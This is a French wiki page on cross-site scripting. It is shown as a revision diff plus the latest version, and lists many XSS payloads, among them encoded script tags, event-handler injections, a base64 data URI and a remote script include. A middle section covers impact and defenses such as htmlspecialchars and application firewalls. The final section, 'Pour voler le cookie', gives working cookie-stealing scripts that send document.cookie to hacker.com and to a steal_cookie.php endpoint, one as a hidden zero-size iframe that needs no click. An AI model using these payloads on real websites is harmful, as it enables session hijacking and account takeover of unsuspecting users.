« 1.2 XSS » : différence entre les versions
Aucun résumé des modifications |
Aucun résumé des modifications |
||
| (2 versions intermédiaires par le même utilisateur non affichées) | |||
| Ligne 1 : | Ligne 1 : | ||
Attaque Cross-site scripting |
Attaque Cross-site scripting |
||
Ajouter dans une URL ou autre entrée du site WEB, par exemple: |
Ajouter dans une URL ou autre entrée du site WEB, par exemple: |
||
<script type="text/javascript">alert(' |
<script type="text/javascript">alert('XSSPOSED')</script> |
||
ou |
|||
%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E |
%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E |
||
<br> |
|||
%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E |
%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E |
||
<script>alert('XSSPOSED')</script> |
|||
<img src=x onerror=prompt(/XSSPOSED/)> |
|||
<script src=https://xssposed.org/1.js> |
|||
"><script>alert("XSSPOSED")</script> |
|||
";//><img src=x onerror=prompt(/xssposed/)> |
|||
<img src=0 onerror=alert(navigator.userAgent)> |
|||
php filter: data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTUE9TRUQvKTwvc2NyaXB0Pg==# |
|||
<body onload=<!-->
alert(5)> |
|||
<svg onload=prompt(4)> |
|||
<img src=x onerror=prompt(3)> |
|||
<textarea autofocus onfocus=prompt(2)></textarea> |
|||
<a href=javascript:alert(1)>XSS</a> |
|||
<script> |
|||
__proto__.alert.call(this, 6) |
|||
([]+[]).link.constructor("return this")().alert.call(this, 7) |
|||
</script> |
|||
<?xml version="1.0" encoding="UTF-8"?> |
|||
<script xmlns="http://www.w3.org/1999/xhtml"> |
|||
alert(8) |
|||
</script> |
|||
L'exploitation d'une faille de type XSS permettrait à un intrus de réaliser les opérations suivantes : |
L'exploitation d'une faille de type XSS permettrait à un intrus de réaliser les opérations suivantes : |
||
Dernière version du 12 janvier 2016 à 16:40
Attaque Cross-site scripting
Ajouter dans une URL ou autre entrée du site WEB, par exemple:
<script type="text/javascript">alert('XSSPOSED')</script>
%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
<script>alert('XSSPOSED')</script>
<img src=x onerror=prompt(/XSSPOSED/)>
<script src=https://xssposed.org/1.js>
"><script>alert("XSSPOSED")</script>
";//><img src=x onerror=prompt(/xssposed/)>
<img src=0 onerror=alert(navigator.userAgent)>
php filter: data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTUE9TRUQvKTwvc2NyaXB0Pg==#
<body onload=<!-->
alert(5)>
<svg onload=prompt(4)>
<img src=x onerror=prompt(3)>
<textarea autofocus onfocus=prompt(2)></textarea>
<a href=javascript:alert(1)>XSS</a>
<script>
__proto__.alert.call(this, 6)
([]+[]).link.constructor("return this")().alert.call(this, 7)
</script>
<?xml version="1.0" encoding="UTF-8"?>
<script xmlns="http://www.w3.org/1999/xhtml">
alert(8)
</script>
L'exploitation d'une faille de type XSS permettrait à un intrus de réaliser les opérations suivantes :
Redirection (parfois de manière transparente) de l'utilisateur. Vol d'informations, par exemple sessions et cookies. Actions sur le site faillible, à l'insu de la victime et sous son identité (envoi de messages, suppression de données, etc.) Rendre la lecture d'une page difficile (boucle infinie d'alertes par exemple).
Une faille de ce type était à l'origine de la propagation des virus Samy sur MySpace en 20052 et Yamanner sur Yahoo! Mail en 2006.
Plusieurs techniques permettent d'éviter le XSS :
Retraiter systématiquement le code HTML produit par l'application avant l'envoi au navigateur Filtrer les variables affichées ou enregistrées avec des caractères '<' et '>' (en CGI comme en PHP). De façon plus générale, donner des noms préfixés par exemple par "us" (user string) aux variables contenant des chaînes venant de l'extérieur pour les distinguer des autres, et ne jamais utiliser aucune des valeurs correspondantes dans une chaîne exécutable (en particulier une chaine SQL, qui peut aussi être ciblée par une injection SQL d'autant plus dangereuses) sans filtrage préalable. En PHP :
utiliser la fonction htmlspecialchars() qui filtre les '<' et '>' (cf. ci-dessus) ; utiliser la fonction htmlentities() qui est identique à htmlspecialchars() sauf qu'elle filtre tous les caractères équivalents au codage HTML ou Javascript. utiliser strip_tags() qui supprime les balises.
En ColdFusion :
utiliser la fonction HTMLEditFormat() qui remplace tous les caractères spéciaux du langage HTML par leur référence d'entité définir l'attribut scriptProtect du tag <cfapplication> pour protéger automatiquement toutes les variables (form et/ou url et/ou cgi et/ou cookies) d'un site activer au niveau du serveur une protection globale (form, url, cgi et cookies) par défaut de toutes les applications en cochant la case "Enable Global Script Protection" du ColdFusion Administrator Utiliser de façon propre les balises HTML <noscript></noscript>, ce qui est insuffisant4.
Il existe des bibliothèques qui permettent de filtrer efficacement du contenu balisé issu de l'utilisateur (systèmes de publication).
Par ailleurs, il est également possible de se protéger des failles de type XSS à l'aide d'équipements réseaux dédiés tels que les pare-feux applicatifs. Ces derniers permettent de filtrer l'ensemble des flux HTTP afin de détecter les requêtes suspectes
Pour voler le cookie:
<script>
var r = newXMLHttpRequest(); //Ne marche que sous FF, sous IE utiliser ActiveXObject("Microsoft.XMLHTTP");
r.open('get', 'http://hacker.com?'+document.cookie);
r.send(null);
</script>
Ou l'on peut injecter (mais nécessite un clic):
<a onclick="document.location='https://futex70.homelinux.com/Fonctions/steal_cookie.php?cookie='+escape(document.cookie);" href="#">Click here for Details</a>
Sans intervention de l'utilisateur:
<iframe width='0' height='0' frameborder='0' src='<script>document.location='http://futex70.homelinux.com/Fonctions/steal_cookie.php?cookie='+escape(document.cookie);</script> />